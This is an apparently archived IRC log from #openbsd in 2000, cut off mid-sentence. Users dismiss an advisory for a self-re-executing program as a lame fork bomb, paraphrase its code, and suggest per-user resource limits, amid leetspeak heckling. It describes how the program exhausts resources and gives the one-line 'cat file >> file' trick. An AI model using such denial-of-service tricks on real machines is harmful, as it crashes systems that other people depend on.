(ircII EPIC4-0.9.1 -- Accept no limitations ) i'm looking at the code right now.. it's small enough to figure out *** OBSDCMNT : th1s guy k4nt figure it 0ut h4h4 watch u'll s33 *** man, how could they even mention NT? and are they mentioning linux to c over their bases? they call it a remote exploit: "log in to the remote host, download exploit, run it", lol \xf9\xed\xf9 SignOff nikhouri: #OpenBSD (^BBitchX^B: the choice of a GNU genera tion) this advisory is just really, really funny. uhm it's a fork bomb \xf9\xed\xf9 nikhouri [nikhouri@hyrule.student.syr.edu] has joined #openbsd fd = open(argv[0], O_RDONLY) <~el82> how is a security hole "funny" fstat(fd) (get the file name) write it to a file and a reference to obecian :) then execute that file well write it's own name to a file then execute it so it's just a bloat program see the execlp at the end? *** OBSDCMNT : execlp() fork() bomb? h4m! *** <~el81> It's just a fork bomb? Doesn't say so in the adv, and doesn't seem to b e read the code <~el81> I did, I don't see fork() in there all it does is stat itself for it's own name well okay it doesn't fork I'd like to see a pipe(2)bomb. but imagine a program execing itself over and over again *** OBSDCMNT : eye'm im4g1n1ng 1t, d0eznt se4m 2 b s0 b4d *** hrm, its dinner time, and i am glad that the advisory is just an advert isement for themselves yes, the comments are just utter BS :) nite all and thanks for pointing me in te right direction rys laggn: np ~el82: no, the way it's written, i'm not say the exploit is funny. \xf9\xed\xf9 SignOff laggn: #OpenBSD (take care :)) <~el81> My boxes all have dropped into ddb ~el81: but to access ddb you need to have physical access to the boxes <~el81> Yes I know <~el81> But it's still crashing my damn box in which case you could boot -s anyways set a process and memory limit per user resource killer = forkbomb == lame *** OBSDCMNT : SIL FROM ANTIOFFLINE == L4M3! BW4H4H *** <~el81> This is synonomous to that old arp cache DoS you could cat file >> file and do the same *** OBSDCMNT : sure u k0uld p4l *** <~el81> Hm, damn, I guess I'll just set limits then <~el82> this still crashes all my openbsd boxes... when can i see a fix? just will waste the machine's resources and eventually cause a cras h ;\ 744: would probably take longer though *** OBSDCMNT : h4kr b0nd1ng at 1tz b3st .. "744" *** <~el81> and run that forkbomb protector lkm \xf9\xed\xf9 SignOff hydro__: #OpenBSD (Idle time limit exceeded) rys true ;) i didnt see the original beginning of this thread ~el82: set process and memory limits per user 744: http://packetstorm.securify.com/0011-exploits/hp2.adv fake advisory *** OBSDCMNT : F$KE?! *** but from what i do see this is a forkbomb junky script kiddiot root ard script *** OBSDCMNT : ur a m0r0n, *PAL* *** \xda\xc4\xc4\xc4\xc4\xc4---\xc4--\xc4\xc4-\xc4\xc4\xc4\xc4\xc4\xc4---\xc4--\xc4 \xc4-\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4\xc4--- -- - | rys (rys@supernal.godsey.net) (Internic Network) \xb3 ircname : Joe | channels : #openbsd #Icons_of_Vanity \xb3 server : irc.west.gblx.net (Global Crossing West Client Server) : idle : 0 hours 0 mins 12 secs (signon: Sun Nov 5 11:54:14 2000) *** OBSDCMNT : m4ybe he sh0uld b in #ic0nz_of_stup1dity *** bbias will check it now \xf9\xed\xf9 tequiare [condor@feather.net] has joined #openbsd rys^B:^B its a stupid lame 0-day forkbomb *** OBSDCMNT : 0d4y f0rkb0mb ? wh4t sc3n3 do u bel0ng 2 br0?! *** 744: well it doesn't really fork but yeah your right and i still see what this has to do with openbsd rys^B:^B resrouce killer 744: seems to be a n advertisment for them the only original th